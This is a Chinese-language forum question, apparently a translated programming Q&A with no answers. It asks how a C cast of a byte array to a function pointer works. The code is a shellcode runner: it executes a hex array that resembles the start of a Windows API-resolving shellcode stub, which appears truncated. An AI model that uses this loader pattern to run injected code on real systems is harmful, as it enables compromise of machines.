这个函数指针如何工作

时间:2016-08-12 22:56:38

标签: c function pointers

有人可以带我走过这个吗?

unsigned char shellcode[]=
"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2"
"\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85"
"\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3"
"\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d"
"\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58"; 

int main(void)
{
    ((void (*)())shellcode)();
}

我知道void(*)()通常是一个函数指针,但不是第一个(*)应该是某个函数的地址而第二个()是一些输入参数?我可以猜测,在这种情况下,他们都来自shellcode[],但是有人可以向我解释具体内容。

0 个答案:

没有答案